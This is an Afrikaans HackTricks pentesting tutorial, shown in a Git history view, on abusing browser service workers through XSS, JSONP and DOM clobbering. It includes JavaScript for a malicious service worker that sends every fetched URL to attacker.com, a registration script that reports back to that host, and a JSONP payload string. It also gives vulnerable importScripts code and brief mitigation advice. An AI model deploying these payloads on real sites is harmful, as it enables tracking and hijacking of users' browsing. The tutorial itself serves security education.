hacktricks/pentesting-web/xss-cross-site-scripting/abusing-service-workers.md

133 lines
8.3 KiB
Markdown
Raw Normal View History

2024-02-11 02:07:06 +00:00
# Misbruik van Dienswerkers
2022-12-20 11:25:07 +00:00
<details>
2024-02-11 02:07:06 +00:00
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-12-20 11:25:07 +00:00
* Werk jy by 'n **cybersekuriteitsmaatskappy**? Wil jy jou **maatskappy geadverteer sien in HackTricks**? of wil jy toegang hê tot die **nuutste weergawe van die PEASS of HackTricks aflaai in PDF-formaat**? Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
2024-02-11 02:07:06 +00:00
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**hacktricks-opslag**](https://github.com/carlospolop/hacktricks) **en** [**hacktricks-cloud-opslag**](https://github.com/carlospolop/hacktricks-cloud).
2022-12-20 11:25:07 +00:00
</details>
**Probeer Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
2024-02-11 02:07:06 +00:00
## Basiese Inligting
2022-12-20 11:25:07 +00:00
'n **Dienswerker** is 'n skrip wat deur jou blaaier in die agtergrond uitgevoer word, afsonderlik van enige webbladsy, wat funksies moontlik maak wat nie 'n webbladsy of gebruikerinteraksie benodig nie, en sodoende **aflyn- en agtergrondverwerking**-vermoëns verbeter. Gedetailleerde inligting oor dienswerkers is beskikbaar [hier](https://developers.google.com/web/fundamentals/primers/service-workers). Deur dienswerkers binne 'n kwesbare webdomein te misbruik, kan aanvallers beheer verkry oor die slagoffers se interaksies met alle bladsye binne daardie domein.
2022-12-20 11:25:07 +00:00
2024-02-11 02:07:06 +00:00
### Kontroleer vir Bestaande Dienswerkers
2024-02-06 03:10:27 +00:00
Bestaande dienswerkers kan nagegaan word in die **Dienswerkers**-afdeling van die **Aansoek**-tabblad in die **Ontwikkelaarhulpmiddels**. 'n Ander metode is om [chrome://serviceworker-internals](https://chromium.googlesource.com/chromium/src/+/main/docs/security/chrome%3A/serviceworker-internals) te besoek vir 'n meer gedetailleerde aansig.
2022-12-20 11:25:07 +00:00
2024-02-11 02:07:06 +00:00
### Duw Kennisgewings
2022-12-20 11:25:07 +00:00
**Duw kennisgewings-toestemmings** het direk 'n impak op 'n **dienswerker** se vermoë om met die bediener te kommunikeer sonder direkte gebruikerinteraksie. As toestemmings ontken word, beperk dit die dienswerker se potensiaal om 'n voortdurende bedreiging te vorm. Daarteenoor verhoog die toekenning van toestemmings die veiligheidsrisiko deur die ontvangs en uitvoering van potensiële aanvalle moontlik te maak.
2022-12-20 11:25:07 +00:00
2024-02-11 02:07:06 +00:00
## Aanval deur 'n Dienswerker te Skep
2022-12-20 11:25:07 +00:00
Om hierdie kwesbaarheid uit te buit, moet jy vind:
2022-12-20 11:25:07 +00:00
* 'n manier om **willekeurige JS-lêers na die bediener te laai** en 'n **XSS om die dienswerker van die gelaai JS-lêer** te laai
* 'n **kwesbare JSONP-versoek** waar jy die uitset kan **manipuleer (met willekeurige JS-kode)** en 'n **XSS** om die **JSONP met 'n lading** te **laai wat 'n skadelike dienswerker sal laai**.
2022-12-20 11:25:07 +00:00
In die volgende voorbeeld gaan ek 'n kode voorstel om 'n nuwe dienswerker te **registreer** wat na die `fetch`-gebeurtenis sal luister en sal **elke opgehaalde URL na die aanvallers se bediener stuur** (dit is die kode wat jy nodig het om na die **bediener te laai** of te laai via 'n **kwesbare JSONP**-antwoord):
2022-12-20 11:25:07 +00:00
```javascript
self.addEventListener('fetch', function(e) {
2024-02-11 02:07:06 +00:00
e.respondWith(caches.match(e.request).then(function(response) {
fetch('https://attacker.com/fetch_url/' + e.request.url)
2022-12-20 11:25:07 +00:00
});
```
En hierdie is die kode wat die werker sal **registreer** (die kode wat jy moet kan uitvoer deur 'n **XSS** te misbruik). In hierdie geval sal 'n **GET** versoek gestuur word na die **aanvallers** bediener om te **meld** of die **registrasie** van die dienswerker suksesvol was of nie:
2022-12-20 11:25:07 +00:00
```javascript
<script>
window.addEventListener('load', function() {
var sw = "/uploaded/ws_js.js";
navigator.serviceWorker.register(sw, {scope: '/'})
2024-02-11 02:07:06 +00:00
.then(function(registration) {
var xhttp2 = new XMLHttpRequest();
xhttp2.open("GET", "https://attacker.com/SW/success", true);
xhttp2.send();
}, function (err) {
var xhttp2 = new XMLHttpRequest();
xhttp2.open("GET", "https://attacker.com/SW/error", true);
xhttp2.send();
});
2022-12-20 11:25:07 +00:00
});
</script>
```
In geval van misbruik van 'n kwesbare JSONP-eindpunt moet jy die waarde binne `var sw` plaas. Byvoorbeeld:
2022-12-20 11:25:07 +00:00
```javascript
var sw = "/jsonp?callback=onfetch=function(e){ e.respondWith(caches.match(e.request).then(function(response){ fetch('https://attacker.com/fetch_url/' + e.request.url) }) )}//";
```
Daar is 'n **C2** toegewy aan die **uitbuiting van Dienswerkers** genaamd [**Shadow Workers**](https://shadow-workers.github.io) wat baie nuttig sal wees om hierdie kwesbaarhede te misbruik.
2022-12-20 11:25:07 +00:00
Die **24-uur cache riglyn** beperk die leeftyd van 'n skadelike of gekompromitteerde **dienswerker (SW)** tot hoogstens 24 uur na 'n XSS kwesbaarheidsherstel, mits die kliënt aanlyn is. Om die kwesbaarheid te verminder, kan webwerf-operateurs die SW-skrips se Tyd-Tot-Leef (TTL) verlaag. Ontwikkelaars word ook aangeraai om 'n [**dienswerker-kill-schakelaar**](https://stackoverflow.com/questions/33986976/how-can-i-remove-a-buggy-service-worker-or-implement-a-kill-switch/38980776#38980776) te skep vir vinnige deaktivering.
2022-12-20 11:25:07 +00:00
## Misbruik van `importScripts` in 'n SW via DOM Clobbering
2022-12-20 11:25:07 +00:00
Die funksie **`importScripts`** wat vanaf 'n Dienswerker geroep word, kan 'n skrips van 'n ander domein **importe**. As hierdie funksie geroep word met 'n **parameter wat 'n aanvaller sou kon** wysig, sou hy in staat wees om 'n JS-skrips van sy domein te **importe** en XSS te kry.
2022-12-20 11:25:07 +00:00
**Dit verbygaan selfs CSP-beskerming.**
2022-12-20 11:25:07 +00:00
2024-02-11 02:07:06 +00:00
**Voorbeeld van kwesbare kode:**
2022-12-20 11:25:07 +00:00
* **index.html**
```html
<script>
navigator.serviceWorker.register('/dom-invader/testcases/augmented-dom-import-scripts/sw.js' + location.search);
2024-02-11 02:07:06 +00:00
// attacker controls location.search
2022-12-20 11:25:07 +00:00
</script>
```
* **sw.js**
```javascript
const searchParams = new URLSearchParams(location.search);
let host = searchParams.get('host');
self.importScripts(host + "/sw_extra.js");
//host can be controllable by an attacker
```
2024-02-11 02:07:06 +00:00
### Met DOM Clobbering
2022-12-20 11:25:07 +00:00
2024-02-11 02:07:06 +00:00
Vir meer inligting oor wat DOM Clobbering is, kyk:
2022-12-20 11:25:07 +00:00
{% content-ref url="dom-clobbering.md" %}
[dom-clobbering.md](dom-clobbering.md)
{% endcontent-ref %}
As die URL/domein waar die SW gebruik om **`importScripts`** te roep **binne 'n HTML-element** is, is dit **moontlik om dit te wysig deur middel van DOM Clobbering** om die SW **'n skrip van jou eie domein te laat laai**.
2022-12-20 11:25:07 +00:00
2024-02-11 02:07:06 +00:00
Vir 'n voorbeeld hiervan, kyk na die verwysingskakel.
2022-12-20 11:25:07 +00:00
2024-02-11 02:07:06 +00:00
## Verwysings
2022-12-20 11:25:07 +00:00
* [https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering](https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering)
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
2022-12-20 11:25:07 +00:00
<details>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-12-20 11:25:07 +00:00
* Werk jy in 'n **cybersekuriteitsmaatskappy**? Wil jy jou **maatskappy geadverteer sien in HackTricks**? of wil jy toegang hê tot die **nuutste weergawe van die PEASS of HackTricks aflaai in PDF-formaat**? Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
2024-02-11 02:07:06 +00:00
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**hacktricks-opslag**](https://github.com/carlospolop/hacktricks) **en** [**hacktricks-cloud-opslag**](https://github.com/carlospolop/hacktricks-cloud).
2022-12-20 11:25:07 +00:00
</details>